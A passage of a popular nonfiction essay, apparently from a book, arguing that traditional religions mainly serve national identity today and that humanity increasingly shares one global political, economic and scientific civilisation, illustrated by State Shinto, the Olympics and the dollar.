True, in countries such as Israel and Iran rabbis and ayatollahs have a direct say about the government’s economic policy, and even in more secular countries such as the United States and Brazil religious leaders influence public opinion on matters ranging from taxation to environmental regulations. Yet a closer look reveals that in most of these cases, traditional religions really play second fiddle to modern scientific theories. When Ayatollah Khamenei needs to make a crucial decision about the Iranian economy, he will not be able to find the necessary answer in the Quran, because seventh-century Arabs knew very little about the problems and opportunities of modern industrial economies and global financial markets. So he, or his aides, must turn to Karl Marx, Milton Friedman, Friedrich Hayek and the modern science of economics to get answers. Having made up his mind to raise interest rates, lower taxes, privatise government monopolies or sign an international tariff agreement, Khamenei can then use his religious knowledge and authority to wrap the scientific answer in the garb of this or that Quranic verse, and present it to the masses as the will of Allah. But the garb matters little. When you compare the economic policies of Shiite Iran, Sunni Saudi Arabia, Jewish Israel, Hindu India and Christian America, you just don’t see that much of a difference.
During the nineteenth and twentieth centuries, Muslim, Jewish, Hindu and Christian thinkers railed against modern materialism, against soulless capitalism, and against the excesses of the bureaucratic state. They promised that if they were only given a chance, they would solve all the ills of modernity and establish a completely different socio-economic system based on the eternal spiritual values of their creed. Well, they have been given quite a few chances, and the only noticeable change they have made to the edifice of modern economies is to redo the paintwork and place a huge crescent, cross, Star of David or Om on the roof.
Just as in the case of rainmaking, so also when it comes to economics, it is the long-honed expertise of religious scholars in reinterpreting texts that makes religion irrelevant. No matter which economic policy Khamenei chooses, he could always square it with the Quran. Hence the Quran is degraded from a source of true knowledge to a source of mere authority. When you face a difficult economic dilemma, you read Marx and Hayek closely, and they help you understand the economic system better, see things from a new angle, and think about potential solutions. Having formulated an answer, you then turn to the Quran, and you read it closely in search of some surah that, if interpreted imaginatively enough, can justify the solution you got from Hayek or Marx. No matter what solution you found there, if you are a good Quranic scholar you will always be able to justify it.
The same is true of Christianity. A Christian may be a capitalist as easily as a socialist, and even though a few things Jesus said smack of downright communism, during the Cold War good American capitalists went on reading the Sermon on the Mount without taking much notice. There is just no such thing as ‘Christian economics’, ‘Muslim economics’ or ‘Hindu economics’.
Not that there aren’t any economic ideas in the Bible, the Quran or the Vedas – it is just that these ideas are not up to date. Mahatma Gandhi’s reading of the Vedas caused him to envision independent India as a collection of self-sufficient agrarian communities, each spinning its own khadi cloths, exporting little and importing even less. The most famous photograph of him shows him spinning cotton with his own hands, and he made the humble spinning wheel the symbol of the Indian nationalist movement.1 Yet this Arcadian vision was simply incompatible with the realities of modern economics, and hence not much has remained of it save for Gandhi’s radiant image on billions of rupee notes.
Modern economic theories are so much more relevant than traditional dogmas that it has become common to interpret even ostensibly religious conflicts in economic terms, whereas nobody thinks of doing the reverse. For example, some argue that the Troubles in Northern Ireland between Catholics and Protestants were fuelled largely by class conflicts. Due to various historical accidents, in Northern Ireland the upper classes were mostly Protestant and the lower classes were mostly Catholic. Hence what seems at first sight to have been a theological conflict about the nature of Christ, was in fact a typical struggle between haves and have-nots. In contrast, very few people would claim that the conflicts between communist guerrillas and capitalist landowners in South America in the 1970s were really just a cover for a far deeper disagreement about Christian theology.
So what difference would religion make when facing the big questions of the twenty-first century? Take for example the question whether to grant AI the authority to make decisions about people’s lives – choosing for you what to study, where to work, and whom to marry. What is the Muslim position on that question? What is the Jewish position? There are no ‘Muslim’ or ‘Jewish’ positions here. Humankind is likely to be divided into two main camps – those in favour of giving AI significant authority, and those opposed to it. Muslims and Jews are likely to be found in both camps, and to justify whichever position they espouse through imaginative interpretations of the Quran and the Talmud.
Of course religious groups might harden their views on particular issues, and turn them into allegedly sacred and eternal dogmas. In the 1970s theologians in Latin America came up with Liberation Theology, which made Jesus look a bit like Che Guevara. Similarly, Jesus can easily be recruited to the debate on global warming, and make current political positions look as if they are eternal religious principles.
This is already beginning to happen. Opposition to environmental regulations is incorporated into the fire-and-brimstone sermons of some American Evangelical pastors, while Pope Francis is leading the charge against global warming, in the name of Christ (as witnessed in his second encyclical, ‘Laudato si’).2 So perhaps by 2070, on the environmental question it will make all the difference in the world whether you are Evangelical or Catholic. It would go without saying that Evangelicals will object to any cap on carbon emissions, while Catholics will believe that Jesus preached we must protect the environment.
You will see the difference even in their cars. Evangelicals will drive huge gasoline-guzzling SUVs, while devout Catholics will go around in slick electric cars with a bumper sticker reading ‘Burn the Planet – and Burn in Hell!’ However, though they may quote various biblical passages in defence of their positions, the real source of their difference will be in modern scientific theories and political movements, not in the Bible. From this perspective, religion doesn’t really have much to contribute to the great policy debates of our time. As Karl Marx argued, it is just a veneer.
Identity problems: The lines in the sand
Yet Marx exaggerated when he dismissed religion as a mere superstructure hiding powerful technological and economic forces. Even if Islam, Hinduism or Christianity may be colourful decorations over a modern economic structure, people often identify with the decor, and people’s identities are a crucial historical force. Human power depends on mass cooperation, mass cooperation depends on manufacturing mass identities – and all mass identities are based on fictional stories, not on scientific facts or even on economic necessities. In the twenty-first century, the division of humans into Jews and Muslims or into Russians and Poles still depends on religious myths. Attempts by Nazis and communists to scientifically determine human identities of race and class proved to be dangerous pseudo-science, and since then scientists have been extremely reluctant to help define any ‘natural’ identities for human beings.
So in the twenty-first century religions don’t bring rain, they don’t cure illnesses, they don’t build bombs – but they do get to determine who are ‘us’ and who are ‘them’, who we should cure and who we should bomb. As noted earlier, in practical terms there are surprisingly few differences between Shiite Iran, Sunni Saudi Arabia and Jewish Israel. All are bureaucratic nation states, all pursue more or less capitalist policies, all vaccinate kids against polio, and all rely on chemists and physicists to make bombs. There is no such thing as Shiite bureaucracy, Sunni capitalism, or Jewish physics. So how to make people feel unique, and feel loyal to one human tribe and hostile to another?
In order to draw firm lines in the shifting sands of humanity, religions use rites, rituals and ceremonies. Shiites, Sunnis and Orthodox Jews wear different clothes, chant different prayers, and observe different taboos. These differing religious traditions often fill daily life with beauty, and encourage people to behave more kindly and charitably. Five times a day, the muezzin’s melodious voice rises above the noise of bazaars, offices and factories, calling Muslims to take a break from the hustle and bustle of mundane pursuits, and try to connect to an eternal truth. Their Hindu neighbours may reach for the same goal with the help of daily pujas and the recitation of mantras. Every week on Friday night, Jewish families sit down for a special meal of joy, thanksgiving and togetherness. Two days later, on Sunday morning, Christian gospel choirs bring hope to the life of millions, helping to forge community bonds of trust and affection.
Other religious traditions fill the world with a lot of ugliness, and make people behave meanly and cruelly. There is little to be said, for example, in favour of religiously inspired misogyny or caste discrimination. But whether beautiful or ugly, all such religious traditions unite certain people while distinguishing them from their neighbours. Looked at from the outside, the religious traditions that divide people often seem trifling, and Freud ridiculed the obsession people have about such matters as ‘the narcissism of small differences’.3 But in history and in politics, small differences can go a very long way. Thus if you happen to be gay or lesbian, it is literally a matter of life and death whether you live in Israel, Iran or Saudi Arabia. In Israel, LGBTs enjoy the protection of the law, and there are even some rabbis who would bless the marriage of two women. In Iran, gays and lesbians are systematically persecuted and occasionally even executed. In Saudi Arabia, a lesbian could not even drive a car until 2018 – just for being a woman, never mind being a lesbian.
Perhaps the best example for the continuing power and importance of traditional religions in the modern world comes from Japan. In 1853 an American fleet forced Japan to open itself to the modern world. In response, the Japanese state embarked on a rapid and extremely successful process of modernisation. Within a few decades, it became a powerful bureaucratic state relying on science, capitalism and the latest military technology to defeat China and Russia, occupy Taiwan and Korea, and ultimately sink the American fleet at Pearl Harbor and destroy the European empires in the Far East. Yet Japan did not copy blindly the Western blueprint. It was fiercely determined to protect its unique identity, and to ensure that modern Japanese will be loyal to Japan rather than to science, to modernity, or to some nebulous global community.
To that end, Japan upheld the native religion of Shinto as the cornerstone of Japanese identity. In truth, the Japanese state reinvented Shinto. Traditional Shinto was a hodge-podge of animist beliefs in various deities, spirits and ghosts, and every village and temple had its own favourite spirits and local customs. In the late nineteenth century and early twentieth century, the Japanese state created an official version of Shinto, while discouraging many local traditions. This ‘State Shinto’ was fused with very modern ideas of nationality and race, which the Japanese elite picked from the European imperialists. Any element in Buddhism, Confucianism and the samurai feudal ethos that could be helpful in cementing loyalty to the state was added to the mix. To top it all, State Shinto enshrined as its supreme principle the worship of the Japanese emperor, who was considered a direct descendant of the sun goddess Amaterasu, and himself no less than a living god.4
At first sight, this odd concoction of old and new seemed an extremely inappropriate choice for a state embarking on a crash course of modernisation. A living god? Animist spirits? Feudal ethos? That sounded more like a Neolithic chieftainship than a modern industrial power.
Yet it worked like magic. The Japanese modernised at a breathtaking pace while simultaneously developing a fanatical loyalty to their state. The best-known symbol of the success of State Shinto is the fact that Japan was the first power to develop and use precision-guided missiles. Decades before the USA fielded the smart bomb, and at a time when Nazi Germany was just beginning to deploy dumb V-2 rockets, Japan sank dozens of allied ships with precision-guided missiles. We know these missiles as the kamikaze. Whereas in present-day precision-guided munitions the guidance is provided by computers, the kamikaze were ordinary airplanes loaded with explosives and guided by human pilots willing to go on one-way missions. This willingness was the product of the death-defying spirit of sacrifice cultivated by State Shinto. The kamikaze thus relied on combining state-of-the-art technology with state-of-the-art religious indoctrination.5
Knowingly or not, numerous governments today follow the Japanese example. They adopt the universal tools and structures of modernity while relying on traditional religions to preserve a unique national identity. The role of State Shinto in Japan is fulfilled to a lesser or greater degree by Orthodox Christianity in Russia, Catholicism in Poland, Shiite Islam in Iran, Wahhabism in Saudi Arabia, and Judaism in Israel. No matter how archaic a religion might look, with a bit of imagination and reinterpretation it can almost always be married to the latest technological gadgets and the most sophisticated modern institutions.
In some cases states might create a completely new religion to bolster their unique identity. The most extreme example can be seen today in Japan’s former colony of North Korea. The North Korean regime indoctrinates its subjects with a fanatical state religion called Juche. This is a mix of Marxism–Leninism, some ancient Korean traditions, a racist belief in the unique purity of the Korean race, and the deification of Kim Il-sung’s family line. Though nobody claims that the Kims are descendants of a sun goddess, they are worshipped with more fervour than almost any god in history. Perhaps mindful of how the Japanese Empire was eventually defeated, North Korean Juche for a long time also insisted on adding nuclear weapons to the mix, depicting their development as a sacred duty worthy of supreme sacrifices.6
The handmaid of nationalism
Unfortunately, all of this really makes traditional religions part of humanity’s problem, not part of the remedy. Religions still have a lot of political power, inasmuch as they can cement national identities and even ignite the Third World War. But when it comes to solving rather than stoking the global problems of the twenty-first century, they don’t seem to offer much. Though many traditional religions espouse universal values and claim cosmic validity, at present they are used mainly as the handmaid of modern nationalism – whether in North Korea, Russia, Iran or Israel. They therefore make it even harder to transcend national differences and find a global solution to the threats of nuclear war, ecological collapse and technological disruption.
Thus when dealing with global warming or nuclear proliferation, Shiite clerics encourage Iranians to see these problems from a narrow Iranian perspective, Jewish rabbis inspire Israelis to care mainly about what’s good for Israel, and Orthodox priests urge Russians to think first and foremost about Russian interests. After all, we are God’s chosen nation, so what’s good for our nation is pleasing to God too. There certainly are religious sages who reject nationalist excesses and adopt far more universal visions. Unfortunately, such sages don’t wield much political power these days.
We are trapped, then, between a rock and a hard place. Humankind now constitutes a single civilisation, and problems such as nuclear war, ecological collapse and technological disruption can only be solved on the global level. On the other hand, nationalism and religion still divide our human civilisation into different and often hostile camps. This collision between global problems and local identities manifests itself in the crisis that now besets the greatest multicultural experiment in the world – the European Union. Built on the promise of universal liberal values, the EU is teetering on the verge of disintegration due to the difficulties of integration and immigration.
There is just one civilisation in the world
While Mark Zuckerberg dreams of uniting humankind online, recent events in the offline world seem to breathe fresh life into the ‘clash of civilisations’ thesis. Many pundits, politicians and ordinary citizens believe that the Syrian civil war, the rise of the Islamic State, the Brexit mayhem and the instability of the European Union all result from a clash between ‘Western Civilisation’ and ‘Islamic Civilisation’. Western attempts to impose democracy and human rights on Muslim nations resulted in a violent Islamic backlash, and a wave of Muslim immigration coupled with Islamic terrorist attacks caused European voters to abandon multicultural dreams in favour of xenophobic local identities.
According to this thesis, humankind has always been divided into diverse civilisations whose members view the world in irreconcilable ways. These incompatible world views make conflicts between civilisations inevitable. Just as in nature different species fight for survival according to the remorseless laws of natural selection, so throughout history civilisations have repeatedly clashed and only the fittest have survived to tell the tale. Those who overlook this grim fact – be they liberal politicians or head-in-the-clouds engineers – do so at their peril.1
The ‘clash of civilisations’ thesis has far-reaching political implications. Its supporters contend that any attempt to reconcile ‘the West’ with ‘the Muslim world’ is doomed to failure. Muslim countries will never adopt Western values, and Western countries could never successfully absorb Muslim minorities. Accordingly, the USA should not admit immigrants from Syria or Iraq, and the European Union should renounce its multicultural fallacy in favour of an unabashed Western identity. In the long run, only one civilisation can survive the unforgiving tests of natural selection, and if the bureaucrats in Brussels refuse to save the West from the Islamic peril, then Britain, Denmark or France had better go it alone.
Though widely held, this thesis is misleading. Islamic fundamentalism may indeed pose a radical challenge, but the ‘civilisation’ it challenges is a global civilisation rather than a uniquely Western phenomenon. Not for nothing has the Islamic State managed to unite against it Iran and the United States. And even Islamic fundamentalists, for all their medieval fantasies, are grounded in contemporary global culture far more than in seventh-century Arabia. They are catering to the fears and hopes of alienated modern youth rather than to those of medieval peasants and merchants. As Pankaj Mishra and Christopher de Bellaigue have convincingly argued, radical Islamists have been influenced by Marx and Foucault as much as by Muhammad, and they inherit the legacy of nineteenth-century European anarchists as much as of the Umayyad and Abbasid caliphs.2 It is therefore more accurate to see even the Islamic State as an errant offshoot of the global culture we all share, rather than as a branch of some mysterious alien tree.
More importantly, the analogy between history and biology that underpins the ‘clash of civilisations’ thesis is false. Human groups – all the way from small tribes to huge civilisations – are fundamentally different from animal species, and historical conflicts greatly differ from natural selection processes. Animal species have objective identities that endure for thousands upon thousands of generations. Whether you are a chimpanzee or a gorilla depends on your genes rather than your beliefs, and different genes dictate distinct social behaviours. Chimpanzees live in mixed groups of males and females. They compete for power by building coalitions of supporters from among both sexes. Amid gorillas, in contrast, a single dominant male establishes a harem of females, and usually expels any adult male that might challenge his position. Chimpanzees cannot adopt gorilla-like social arrangements; gorillas cannot start organising themselves like chimpanzees; and as far as we know exactly the same social systems have characterised chimpanzees and gorillas not only in recent decades, but for hundreds of thousands of years.
You find nothing like that among humans. Yes, human groups may have distinct social systems, but these are not genetically determined, and they seldom endure for more than a few centuries. Think of twentieth-century Germans, for example. In less than a hundred years the Germans organised themselves into six very different systems: the Hohenzollern Empire, the Weimar Republic, the Third Reich, the German Democratic Republic (aka communist East Germany), the Federal Republic of Germany (aka West Germany), and finally democratic reunited Germany. Of course the Germans kept their language and their love of beer and bratwurst. But is there some unique German essence that distinguishes them from all other nations, and that has remained unchanged from Wilhelm II to Angela Merkel? And if you do come up with something, was it also there 1,000 years ago, or 5,000 years ago?
The (unratified) Preamble of the European Constitution begins by stating that it draws inspiration ‘from the cultural, religious and humanist inheritance of Europe, from which have developed the universal values of the inviolable and inalienable rights of the human person, democracy, equality, freedom and the rule of law’.3 This may easily give one the impression that European civilisation is defined by the values of human rights, democracy, equality and freedom. Countless speeches and documents draw a direct line from ancient Athenian democracy to the present-day EU, celebrating 2,500 years of European freedom and democracy. This is reminiscent of the proverbial blind man who takes hold of an elephant’s tail and concludes that an elephant is a kind of brush. Yes, democratic ideas have been part of European culture for centuries, but they were never the whole. For all its glory and impact, Athenian democracy was a half-hearted experiment that survived for barely 200 years in a small corner of the Balkans. If European civilisation for the past twenty-five centuries has been defined by democracy and human rights, what are we to make of Sparta and Julius Caesar, of the Crusaders and the conquistadores, of the Inquisition and the slave trade, of Louis XIV and Napoleon, of Hitler and Stalin? Were they all intruders from some foreign civilisation?
In truth, European civilisation is anything Europeans make of it, just as Christianity is anything Christians make of it, Islam is anything Muslims make of it, and Judaism is anything Jews make of it. And they have made of it remarkably different things over the centuries. Human groups are defined more by the changes they undergo than by any continuity, but they nevertheless manage to create for themselves ancient identities thanks to their storytelling skills. No matter what revolutions they experience, they can usually weave old and new into a single yarn.
Even an individual may knit revolutionary personal changes into a coherent and powerful life story: ‘I am that person who was once a socialist, but then became a capitalist; I was born in France, and now live in the USA; I was married, and then got divorced; I had cancer, and then got well again.’ Similarly a human group such as the Germans may come to define itself by the very changes it underwent: ‘Once we were Nazis, but we have learnt our lesson, and now we are peaceful democrats.’ You don’t need to look for some unique German essence that manifested itself first in Wilhelm II, then in Hitler, and finally in Merkel. These radical transformations are precisely what define German identity. To be German in 2018 means to grapple with the difficult legacy of Nazism while upholding liberal and democratic values. Who knows what it will mean in 2050.
People often refuse to see these changes, especially when it comes to core political and religious values. We insist that our values are a precious legacy from ancient ancestors. Yet the only thing that allows us to say this, is that our ancestors are long dead, and cannot speak for themselves. Consider, for example, Jewish attitudes towards women. Nowadays ultra-Orthodox Jews ban images of women from the public sphere. Billboards and advertisements aimed at ultra-Orthodox Jews usually depict only men and boys – never women and girls.4
In 2011, a scandal erupted when the ultra-Orthodox Brooklyn paper Di Tzeitung published a photo of American officials watching the raid on Osama bin-Laden’s compound but digitally erased all women from the photo, including Secretary of State Hillary Clinton. The paper explained it was forced to do so by Jewish ‘laws of modesty’. A similar scandal erupted when HaMevaser paper expunged Angela Merkel from a photo of a demonstration against the Charlie Hebdo massacre, lest her image arouse any lustful thoughts in the minds of devout readers. The publisher of a third ultra-Orthodox newspaper, Hamodia, defended this policy by explaining that ‘We are backed by thousands of years of Jewish tradition.’5
Nowhere is the ban on seeing women stricter than in the synagogue. In Orthodox synagogues women are carefully segregated from the men, and must confine themselves to a restricted zone where they are hidden behind a curtain, so that no men will accidentally see the shape of a woman as he says his prayers or reads scriptures. Yet if all this is backed by thousands of years of Jewish tradition and immutable divine laws, how to explain the fact that when archaeologists excavated ancient synagogues in Israel from the time of the Mishnah and Talmud, they found no sign of gender segregation, and instead uncovered beautiful floor mosaics and wall paintings depicting women, some of them rather scantily dressed? The rabbis who wrote the Mishnah and Talmud regularly prayed and studied in these synagogues, but present-day Orthodox Jews would consider them blasphemous desecrations of ancient traditions.6
Similar distortions of ancient traditions characterise all religions. The Islamic State has boasted that it has reverted to the pure and original version of Islam, but in truth, their take on Islam is brand new. Yes, they quote many venerable texts, but they exercise a lot of discretion in choosing which texts to quote and which to ignore, and in how to interpret them. Indeed, their do-it-yourself attitude to interpreting the holy texts is itself very modern. Traditionally, interpretation was the monopoly of the learned ulama – scholars who studied Muslim law and theology in reputable institutions such as Cairo’s Al-Azhar. Few of the Islamic State’s leaders have had such credentials, and most respected ulama have dismissed Abu Bakr al-Baghdadi and his ilk as ignorant criminals.7
That does not mean that the Islamic State has been ‘un-Islamic’ or ‘anti-Islamic’, as some people argue. It is particularly ironic when Christian leaders such as Barack Obama have the temerity to tell self-professing Muslims such as Abu Bakr al-Baghdadi what it means to be Muslim.8 The heated argument about the true essence of Islam is simply pointless. Islam has no fixed DNA. Islam is whatever Muslims make of it.9
Germans and gorillas
There is an even deeper difference distinguishing human groups from animal species. Species often split, but they never merge. About 7 million years ago chimpanzees and gorillas had common ancestors. This single ancestral species split into two populations that eventually went their separate evolutionary ways. Once this happened, there was no going back. Since individuals belonging to different species cannot produce fertile offspring together, species can never merge. Gorillas cannot merge with chimpanzees, giraffes cannot merge with elephants, and dogs cannot merge with cats.
Human tribes, in contrast, tend to coalesce over time into larger and larger groups. Modern Germans were created from the merger of Saxons, Prussians, Swabians and Bavarians, who not so long ago wasted little love on one another. Otto von Bismarck allegedly remarked (having read Darwin’s On the Origin of Species) that the Bavarian is the missing link between the Austrian and the human.10 The French were created from the merger of Franks, Normans, Bretons, Gascons and Provençals. Meanwhile across the Channel, English, Scots, Welsh and Irish were gradually welded together (willingly or not) to form Britons. In the not too distant future, Germans, French and Britons might yet merge into Europeans.
Mergers don’t always last, as people in London, Edinburgh and Brussels are keenly aware these days. Brexit may well initiate the simultaneous unravelling of both the UK and the EU. But in the long run, history’s direction is clear-cut. Ten thousand years ago humankind was divided into countless isolated tribes. With each passing millennium, these fused into larger and larger groups, creating fewer and fewer distinct civilisations. In recent generations the few remaining civilisations have been blending into a single global civilisation. Political, ethnic, cultural and economic divisions endure, but they do not undermine the fundamental unity. Indeed, some divisions are made possible only by an overarching common structure. In the economy, for example, division of labour cannot succeed unless everyone shares a single market. One country cannot specialise in producing cars or oil unless it can buy food from other countries that grow wheat and rice.
The process of human unification has taken two distinct forms: establishing links between distinct groups, and homogenising practices across groups. Links may be formed even between groups that continue to behave very differently. Indeed, links may form even between sworn enemies. War itself can generate some of the strongest of all human bonds. Historians often argue that globalisation reached a first peak in 1913, then went into a long decline during the era of the world wars and the Cold War, and recuperated only after 1989.11 This may be true of economic globalisation, but it ignores the different but equally important dynamic of military globalisation. War spreads ideas, technologies and people far more quickly than commerce. In 1918 the United States was more closely linked to Europe than in 1913, the two then drifted apart in the interwar years, only to have their fates meshed together inextricably by the Second World War and the Cold War.
War also makes people far more interested in one another. Never had the US been more closely in touch with Russia than during the Cold War, when every cough in a Moscow corridor sent people scrambling up and down Washington staircases. People care far more about their enemies than about their trade partners. For every American film about Taiwan, there are probably fifty about Vietnam.
The Medieval Olympics
The world of the early twenty-first century has gone way beyond forming links between different groups. People across the globe are not only in touch with one another, they increasingly share identical beliefs and practices. A thousand years ago, planet Earth provided fertile ground to dozens of different political models. In Europe you could find feudal principalities vying with independent city states and minuscule theocracies. The Muslim world had its caliphate, claiming universal sovereignty, but also experimented with kingdoms, sultanates and emirates. The Chinese empires believed themselves to be the sole legitimate political entity, while to the north and west tribal confederacies fought each other with glee. India and South East Asia contained a kaleidoscope of regimes, whereas polities in America, Africa and Australasia ranged from tiny hunter-gatherer bands to sprawling empires. No wonder that even neighbouring human groups had trouble agreeing on common diplomatic procedures, not to mention international laws. Each society had its own political paradigm, and found it difficult to understand and respect alien political concepts.
Today, in contrast, a single political paradigm is accepted everywhere. The planet is divided between about 200 sovereign states, which generally agree on the same diplomatic protocols and on common international laws. Sweden, Nigeria, Thailand and Brazil are all marked on our atlases as the same kind of colourful shapes; they are all members of the UN; and despite myriad differences they are all recognised as sovereign states enjoying similar rights and privileges. Indeed, they share many more political ideas and practices, including at least a token belief in representative bodies, political parties, universal suffrage and human rights. There are parliaments in Tehran, Moscow, Cape Town and New Delhi as well as in London and Paris. When Israelis and Palestinians, Russians and Ukrainians, Kurds and Turks compete for the favours of global public opinion, they all use the same discourse of human rights, state sovereignty and international law.
The world may be peppered with various types of ‘failed states’, but it knows only one paradigm for a successful state. Global politics thus follows the Anna Karenina principle: successful states are all alike, but every failed state fails in its own way, by missing this or that ingredient of the dominant political package. The Islamic State has recently stood out in its complete rejection of this package, and in its attempt to establish an entirely different kind of political entity – a universal caliphate. But precisely for this reason it has failed. Numerous guerrilla forces and terror organisations have managed to establish new countries or to conquer existing ones. But they have always done so by accepting the fundamental principles of the global political order. Even the Taliban sought international recognition as the legitimate government of the sovereign country of Afghanistan. No group rejecting the principles of global politics has so far gained any lasting control of any significant territory.
The strength of the global political paradigm can perhaps best be appreciated by considering not hardcore political questions of war and diplomacy, but rather something like the 2016 Rio Olympics. Take a moment to reflect on the way the Games were organised. The 11,000 athletes were grouped into delegations by nationality rather than by religion, class or language. There was no Buddhist delegation, proletarian delegation, or English-speaking delegation. Except in a handful of cases – most notably Taiwan and Palestine – determining the athletes’ nationality was a straightforward affair.
At the opening ceremony on 5 August 2016 the athletes marched in groups, each group waving its national flag. Whenever Michael Phelps won another gold medal, the Stars and Stripes was raised to the sound of the ‘Star-Spangled Banner’. When Emilie Andéol won the gold medal in judo, the French tricolour was hoisted and the ‘Marseillaise’ was played.
Conveniently enough, each country in the world has an anthem that conforms to the same universal model. Almost all anthems are orchestral pieces of a few minutes in length, rather than a twenty-minute chant that may only be performed by a special caste of hereditary priests. Even countries such as Saudi Arabia, Pakistan and Congo have adopted Western musical conventions for their anthems. Most of them sound like something composed by Beethoven on a rather mediocre day. (You can spend an evening with friends playing the various anthems on YouTube and trying to guess which is which.) Even the lyrics are almost the same throughout the world, indicating common conceptions of politics and group loyalty. For example, to which nation do you think the following anthem belongs? (I changed only the country’s name into the generic ‘My country’):
My country, my homeland,
The land where I have shed my blood,
It is there I stand,
To be my motherland’s guard.
My country, my nation,
My people and my homeland,
Let us proclaim
‘My country unite!’
Long live my land, long live my state,
My nation, my homeland, in its entirety.
Build its soul, awaken its body,
For my great country!
My great country, independent and free
My home and my country which I love.
My great country, independent and free,
Long live my great country!
The answer is Indonesia. But would you have been surprised if I told you that the answer was actually Poland, Nigeria or Brazil?
National flags display the same dreary conformity. With a single exception, all flags are rectangular pieces of cloth marked by an extremely limited repertoire of colours, stripes and geometrical shapes. Nepal is the odd country out, with a flag consisting of two triangles. (But it has never won an Olympic medal.) The Indonesian flag consists of a red stripe above a white stripe. The Polish flag displays a white stripe above a red stripe. The flag of Monaco is identical to that of Indonesia. A colour-blind person could hardly tell the difference between the flags of Belgium, Chad, Ivory Coast, France, Guinea, Ireland, Italy, Mali and Romania – they all have three vertical stripes of various colours.
Some of these countries have been engaged in bitter war with one another, but during the tumultuous twentieth century only three Games were cancelled due to war (in 1916, 1940 and 1944). In 1980 the USA and some of its allies boycotted the Moscow Olympics, in 1984 the Soviet bloc boycotted the Los Angeles Games, and on several other occasions the Olympics found themselves at the centre of a political storm (most notably in 1936, when Nazi Berlin hosted the Games, and in 1972, when Palestinian terrorists massacred the Israeli delegation to the Munich Olympics). Yet on the whole, political controversies have not derailed the Olympic project.
Now let’s go back 1,000 years. Suppose you wanted to hold the Medieval Olympic Games in Rio in 1016. Forget for a moment that Rio was then a small village of Tupi Indians,12 and that Asians, Africans and Europeans were not even aware of America’s existence. Forget the logistical problems of bringing all the world’s top athletes to Rio in the absence of airplanes. Forget too that few sports were shared throughout the world, and even if all humans could run, not everybody could agree on the same rules for a running competition. Just ask yourself how to group the competing delegations. Today’s International Olympic Committee spends countless hours discussing the Taiwan question and the Palestine question. Multiply this by 10,000 to estimate the number of hours you would have to spend on the politics of the Medieval Olympics.
For starters, in 1016 the Chinese Song Empire recognised no political entity on earth as its equal. It would therefore be an unthinkable humiliation to give its Olympic delegation the same status as that granted to the delegations of the Korean kingdom of Koryo or of the Vietnamese kingdom of Dai Co Viet – not to mention the delegations of primitive barbarians from across the seas.
The caliph in Baghdad also claimed universal hegemony, and most Sunni Muslims recognised him as their supreme leader. In practical terms, however, the caliph barely ruled the city of Baghdad. So would all Sunni athletes be part of a single caliphate delegation, or would they be separated into dozens of delegations from the numerous emirates and sultanates of the Sunni world? But why stop with the emirates and sultanates? The Arabian Desert was teaming with free Bedouin tribes, who recognised no overlord save Allah. Would each be entitled to send an independent delegation to compete in archery or camel racing? Europe would give you any number of similar headaches. Would an athlete from the Norman town of Ivry compete under the banner of the local Count of Ivry, of his lord the Duke of Normandy, or perhaps of the feeble King of France?
Many of these political entities appeared and disappeared within a matter of years. As you made your preparations for the 1016 Olympics, you could not know in advance which delegations would show up, because nobody could be sure which political entities would still exist next year. If the kingdom of England had sent a delegation to the 1016 Olympics, by the time the athletes came home with their medals they would have discovered that the Danes had just captured London, and that England was being absorbed into the North Sea Empire of King Cnut the Great, together with Denmark, Norway and parts of Sweden. Within another twenty years, that empire disintegrated, but thirty years later England was conquered again, by the Duke of Normandy.
Needless to say, the vast majority of these ephemeral political entities had neither anthem to play nor flag to hoist. Political symbols were of great importance, of course, but the symbolic language of European politics was very different from the symbolic languages of Indonesian, Chinese or Tupi politics. Agreeing on a common protocol to mark victory would have been well-nigh impossible.
So when you watch the Tokyo Games in 2020, remember that this seeming competition between nations actually represents an astonishing global agreement. For all the national pride people feel when their delegation wins a gold medal and their flag is raised, there is far greater reason to feel pride that humankind is capable of organising such an event.
One dollar to rule them all
In premodern times humans have experimented not only with diverse political systems, but also with a mind-boggling variety of economic models. Russian boyars, Hindu maharajas, Chinese mandarins and Amerindian tribal chiefs had very different ideas about money, trade, taxation and employment. Nowadays, in contrast, almost everybody believes in slightly different variations on the same capitalist theme, and we are all cogs within a single global production line. Whether you live in Congo or Mongolia, in New Zealand or Bolivia, your daily routines and economic fortunes depend on the same economic theories, the same corporations and banks, and the same currents of capital. If the finance ministers of Israel and Iran were to meet for lunch, they would have a common economic language, and could easily understand and sympathise with each other’s woes.
When the Islamic State conquered large parts of Syria and Iraq, it murdered tens of thousands of people, demolished archaeological sites, toppled statues, and systematically destroyed the symbols of previous regimes and of Western cultural influence.13 But when its fighters entered the local banks and found there stashes of American dollars covered with the faces of American presidents and with slogans in English praising American political and religious ideals – they did not burn these symbols of American imperialism. For the dollar bill is universally venerated across all political and religious divides. Though it has no intrinsic value – you cannot eat or drink a dollar bill – trust in the dollar and in the wisdom of the Federal Reserve is so firm that it is shared even by Islamic fundamentalists, Mexican drug lords and North Korean tyrants.
Yet the homogeneity of contemporary humanity is most apparent when it comes to our view of the natural world and of the human body. If you fell sick a thousand years ago, it mattered a great deal where you lived. In Europe, the resident priest would probably tell you that you had made God angry, and that in order to regain your health, you should donate something to the church, make a pilgrimage to a sacred site, and pray fervently for God’s forgiveness. Alternatively, the village witch might explain that a demon had possessed you, and that she could cast the demon out using song, dance and the blood of a black cockerel.
In the Middle East, doctors brought up on classical traditions might explain that your four bodily humours were out of balance, and you should harmonise them with a proper diet and foul-smelling potions. In India, Ayurvedic experts would offer their own theories concerning the balance between the three bodily elements known as doshas, and recommend a treatment of herbs, massages and yoga postures. Chinese physicians, Siberian shamans, African witch doctors, Amerindian medicine men – every empire, kingdom and tribe had its own traditions and experts, each espousing different views about the human body and the nature of sickness, and each offering their own cornucopia of rituals, concoctions and cures. Some of them worked surprisingly well, whereas others were little short of a death sentence. The only thing that united European, Chinese, African and American medical practices was that everywhere at least a third of children died before reaching adulthood, and average life expectancy was far below fifty.14
